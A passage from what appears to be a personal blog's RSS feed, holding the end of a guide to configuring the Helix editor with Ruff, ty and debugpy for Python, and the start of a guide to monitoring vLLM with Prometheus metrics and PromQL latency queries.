operating systems as well.</p>
<p>Start by checking Helix's Python configuration:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">hx</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-health</span><span style="color: light-dark(#40A02B, #A6E3A1);"> python</span></span></code></pre>
<p>In my case, the output looks like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Configured</span><span style="color: light-dark(#40A02B, #A6E3A1);"> language</span><span style="color: light-dark(#40A02B, #A6E3A1);"> servers:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✘</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ty:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ty</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> not</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found</span><span style="color: light-dark(#40A02B, #A6E3A1);"> in</span><span> $</span><span>PATH</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✘</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ruff:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ruff</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> not</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found</span><span style="color: light-dark(#40A02B, #A6E3A1);"> in</span><span> $</span><span>PATH</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✘</span><span style="color: light-dark(#40A02B, #A6E3A1);"> jedi:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">jedi-language-server</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> not</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found</span><span style="color: light-dark(#40A02B, #A6E3A1);"> in</span><span> $</span><span>PATH</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✘</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pylsp:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">pylsp</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> not</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found</span><span style="color: light-dark(#40A02B, #A6E3A1);"> in</span><span> $</span><span>PATH</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Configured</span><span style="color: light-dark(#40A02B, #A6E3A1);"> debug</span><span style="color: light-dark(#40A02B, #A6E3A1);"> adapter:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> None</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Configured</span><span style="color: light-dark(#40A02B, #A6E3A1);"> formatter:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> None</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Tree-sitter</span><span style="color: light-dark(#40A02B, #A6E3A1);"> parser:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Highlight</span><span style="color: light-dark(#40A02B, #A6E3A1);"> queries:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Textobject</span><span style="color: light-dark(#40A02B, #A6E3A1);"> queries:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Indent</span><span style="color: light-dark(#40A02B, #A6E3A1);"> queries:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span></code></pre>
<p>No language servers or formatters are available yet, but the Tree-sitter parser and queries are configured. I use
<a href="/uv/">uv</a> to install Ruff and ty:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> tool</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ruff</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> tool</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ty</span></span></code></pre>
<p>This installs Ruff and ty as command-line tools. On macOS, <code>uv tool install</code> puts executables in a user bin directory
that must be on <code>PATH</code>. The exact path depends on your setup; a common configuration is:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">echo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">export PATH=&quot;$HOME/.local/bin:$PATH&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#179299, #94E2D5);"> &gt;&gt;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.zshrc</span></span>
<span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">source</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.zshrc</span></span></code></pre>
<p>If needed, update the shell configuration and then check that both tools are available:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">which</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ruff</span></span>
<span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">which</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ty</span></span></code></pre>
<p>If <code>which</code> prints nothing, Helix will not find the tools either. Check the configuration again:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">hx</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-health</span><span style="color: light-dark(#40A02B, #A6E3A1);"> python</span></span></code></pre>
<p>The output should now look like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Configured</span><span style="color: light-dark(#40A02B, #A6E3A1);"> language</span><span style="color: light-dark(#40A02B, #A6E3A1);"> servers:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✓</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ty:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /Users/akrisanov/.local/bin/ty</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✓</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ruff:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /Users/akrisanov/.local/bin/ruff</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✘</span><span style="color: light-dark(#40A02B, #A6E3A1);"> jedi:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">jedi-language-server</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> not</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found</span><span style="color: light-dark(#40A02B, #A6E3A1);"> in</span><span> $</span><span>PATH</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  ✘</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pylsp:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">pylsp</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> not</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found</span><span style="color: light-dark(#40A02B, #A6E3A1);"> in</span><span> $</span><span>PATH</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Configured</span><span style="color: light-dark(#40A02B, #A6E3A1);"> debug</span><span style="color: light-dark(#40A02B, #A6E3A1);"> adapter:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> None</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Configured</span><span style="color: light-dark(#40A02B, #A6E3A1);"> formatter:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> None</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Tree-sitter</span><span style="color: light-dark(#40A02B, #A6E3A1);"> parser:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Highlight</span><span style="color: light-dark(#40A02B, #A6E3A1);"> queries:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Textobject</span><span style="color: light-dark(#40A02B, #A6E3A1);"> queries:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Indent</span><span style="color: light-dark(#40A02B, #A6E3A1);"> queries:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ✓</span></span></code></pre>
<p>Open the Helix language configuration, usually <code>~/.config/helix/languages.toml</code>, and add:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="toml"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">[[</span><span>language</span><span style="color: light-dark(#7C7F93, #9399B2);">]]</span></span>
<span class="giallo-l"><span>name</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">python</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>language-servers</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ruff</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ty</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"><span>auto-format</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#FE640B, #FAB387);"> true</span></span>
<span class="giallo-l"><span>formatter</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span><span> command</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ruff</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span> args</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">format</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">-</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span><span style="color: light-dark(#7C7F93, #9399B2);"> }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">[</span><span>language-server</span><span>.</span><span>ruff</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"><span>command</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ruff</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>args</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">server</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">[</span><span>language-server</span><span>.</span><span>ty</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"><span>command</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">ty</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>args</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">server</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span></code></pre>
<p>For debugging, install <code>debugpy</code> with pip:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">pip</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> debugpy</span></span></code></pre>
<p>Then append this configuration to <code>languages.toml</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="toml"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">[</span><span>language</span><span>.</span><span>debugger</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"><span>name</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">debugpy</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>transport</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">stdio</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>command</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">python3</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>args</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">-m</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">debugpy.adapter</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">[[</span><span>language</span><span>.</span><span>debugger</span><span>.</span><span>templates</span><span style="color: light-dark(#7C7F93, #9399B2);">]]</span></span>
<span class="giallo-l"><span>name</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">source</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>request</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">launch</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span>completion</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  {</span><span> name</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">entrypoint</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span> completion</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">filename</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span> default</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">.</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);"> }</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">]</span></span>
<span class="giallo-l"><span>args</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span><span> mode</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">debug</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">,</span><span> program</span><span style="color: light-dark(#179299, #94E2D5);"> =</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">{0}</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);"> }</span></span></code></pre>
        
      ]]></description>
    </item>
    
    <item>
      <title>Monitoring vLLM in Production: Metrics, PromQL, Alerts, and Runbooks</title>
      <pubDate>Thu, 18 Jun 2026 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/vllm-metrics/</link>
      <guid>https://akrisanov.com/vllm-metrics/</guid>
      <description xml:base="https://akrisanov.com/vllm-metrics/"><![CDATA[
        <p>Published: 2026-01-28</p>
        <p>Updated: 2026-06-18</p>
        
          <blockquote>
<p><strong>Version scope:</strong> This guide targets vLLM 0.23.x and its default V1 engine. Metric names and semantics change between releases, so verify the <code>/metrics</code> output of the exact version and serving configuration you run before copying queries or alerts into production.</p>
</blockquote>
<p>A vLLM server can pass Kubernetes health checks while users experience slow or unstable responses. Requests may wait
in the scheduler, long prompts may make prefill expensive, or token streaming may become uneven.</p>
<p>This guide focuses on the metrics needed to diagnose latency, scheduler backlog, KV-cache pressure, throughput changes,
and workload shifts during incidents and capacity reviews. The examples use Prometheus and Grafana.</p>
<h2 id="observability-boundary">Observability boundary</h2>
<p>vLLM metrics describe the inference server and engine. They do not describe the entire request path.</p>
<p>A production request usually crosses several layers:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>Client</span></span>
<span class="giallo-l"><span>  -&gt; API gateway or ingress</span></span>
<span class="giallo-l"><span>  -&gt; authentication, quotas, and routing</span></span>
<span class="giallo-l"><span>  -&gt; vLLM API server</span></span>
<span class="giallo-l"><span>  -&gt; scheduler and model executor</span></span>
<span class="giallo-l"><span>  -&gt; streaming response</span></span>
<span class="giallo-l"><span>  -&gt; client</span></span></code></pre>
<p>A user-visible latency regression can originate in any of these layers. Monitor all three groups:</p>
<ul>
<li><strong>Gateway metrics:</strong> incoming request rate, HTTP status codes, upstream latency, retries, timeouts, and client disconnects</li>
<li><strong>vLLM metrics:</strong> queueing, TTFT, inter-token latency, request latency, throughput, preemption, and KV-cache usage</li>
<li><strong>GPU and host metrics:</strong> utilization, memory, power, clocks, throttling, PCIe or NVLink errors, and node health</li>
</ul>
<p>Engine metrics explain what happens inside vLLM, but do not show whether the complete service is healthy.</p>
<h2 id="metric-names-and-prometheus-conventions">Metric names and Prometheus conventions</h2>
<p>vLLM exposes Prometheus metrics on the OpenAI-compatible server's <code>/metrics</code> endpoint.</p>
<p>Metric names use the <code>vllm:</code> prefix:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>vllm:num_requests_running</span></span>
<span class="giallo-l"><span>vllm:time_to_first_token_seconds</span></span>
<span class="giallo-l"><span>vllm:prompt_tokens_total</span></span></code></pre>
<p>Standard Prometheus preserves the colon. Some OpenTelemetry pipelines, managed monitoring products, or custom ingestion
layers may normalize metric names. Always check the names stored in your monitoring backend:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">curl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">s</span><span style="color: light-dark(#40A02B, #A6E3A1);"> http://</span><span style="color: light-dark(#179299, #94E2D5);">&lt;</span><span style="color: light-dark(#40A02B, #A6E3A1);">vllm-hos</span><span>t</span><span style="color: light-dark(#179299, #94E2D5);">&gt;</span><span style="color: light-dark(#40A02B, #A6E3A1);">:8000/metrics</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> grep</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">^vllm:</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> head</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">50</span></span></code></pre>
<p>Metric type determines how to query it:</p>
<ul>
<li><strong>Histograms</strong> have <code>_bucket</code>, <code>_sum</code>, and <code>_count</code> series. Use <code>rate()</code> and <code>histogram_quantile()</code> to calculate latency percentiles</li>
<li><strong>Counters</strong> are exposed with a <code>_total</code> suffix. Use <code>rate()</code> or <code>increase()</code></li>
<li><strong>Gauges</strong> represent current state. Query them directly or aggregate them across replicas</li>
</ul>
<p>The examples below group by <code>model_name</code>. Add stable labels such as <code>cluster</code>, <code>namespace</code>, or <code>service</code> as needed.
Avoid aggregating unrelated models into one percentile: a fast small model can hide a regression in a much larger one.</p>
<h2 id="user-visible-latency-metrics">User-visible latency metrics</h2>
<p>Three latency metrics cover most user-visible problems.</p>
<h3 id="ttft-time-to-first-token">TTFT: time to first token</h3>
<p>Metric:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>vllm:time_to_first_token_seconds</span></span></code></pre>
<p>TTFT measures how long vLLM takes to produce the first output token. At the serving boundary, it includes request processing,
scheduler waiting, prefill, and the first generation step. Client-visible TTFT also includes gateway, routing, network,
and streaming overhead.</p>
<p>A high TTFT may indicate queueing, longer prompts, lower prefix-cache reuse, or a slow first model-execution step. It does
not by itself show that the GPU is slow.</p>
<h3 id="itl-inter-token-latency">ITL: inter-token latency</h3>
<p>Metric:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>vllm:inter_token_latency_seconds</span></span></code></pre>
<p>ITL measures the delay between streamed output tokens. This is the most direct engine-level metric for visible pauses during streaming.</p>
<h3 id="request-level-tpot">Request-level TPOT</h3>
<p>Metric:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>vllm:request_time_per_output_token_seconds</span></span></code></pre>
<p>This metric records the average time per output token for a completed request. It is useful for comparing decode
efficiency across requests, but it can hide individual stalls. A request may have acceptable average TPOT while still
containing several poor ITL samples.</p>
<p>For interactive services, monitor both ITL and request-level TPOT. Use ITL for streaming smoothness and TPOT for
request-level decode efficiency.</p>
<h3 id="supporting-latency-metrics">Supporting latency metrics</h3>
<ul>
<li>Queue time: <code>vllm:request_queue_time_seconds</code></li>
<li>End-to-end latency inside the vLLM serving boundary: <code>vllm:e2e_request_latency_seconds</code></li>
<li>Prefill time: <code>vllm:request_prefill_time_seconds</code></li>
<li>Decode time: <code>vllm:request_decode_time_seconds</code></li>
</ul>
<h2 id="promql-for-latency-percentiles">PromQL for latency percentiles</h2>
<h3 id="p95-ttft">P95 TTFT</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>histogram_quantile(</span></span>
<span class="giallo-l"><span>  0.95,</span></span>
<span class="giallo-l"><span>  sum by (le, model_name) (</span></span>
<span class="giallo-l"><span>    rate(vllm:time_to_first_token_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span>  )</span></span>
<span class="giallo-l"><span>)</span></span></code></pre><h3 id="p99-inter-token-latency">P99 inter-token latency</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>histogram_quantile(</span></span>
<span class="giallo-l"><span>  0.99,</span></span>
<span class="giallo-l"><span>  sum by (le, model_name) (</span></span>
<span class="giallo-l"><span>    rate(vllm:inter_token_latency_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span>  )</span></span>
<span class="giallo-l"><span>)</span></span></code></pre><h3 id="p95-request-level-tpot">P95 request-level TPOT</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="plain"><span class="giallo-l"><span>histogram_quantile(</span></span>
<span class="giallo-l"><span>  0.95,</span></span>
<span class="giallo-l"><span>  sum by (le, model_name) (</span></span>
<span class="giallo-l"><span>    rate(vllm:request_time_per_output_token_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span>  )</span></span>
<span class="giallo-l"><span>)</span></span></code></pre><h3 id="p95-queue-time">P95 queue time</h3>
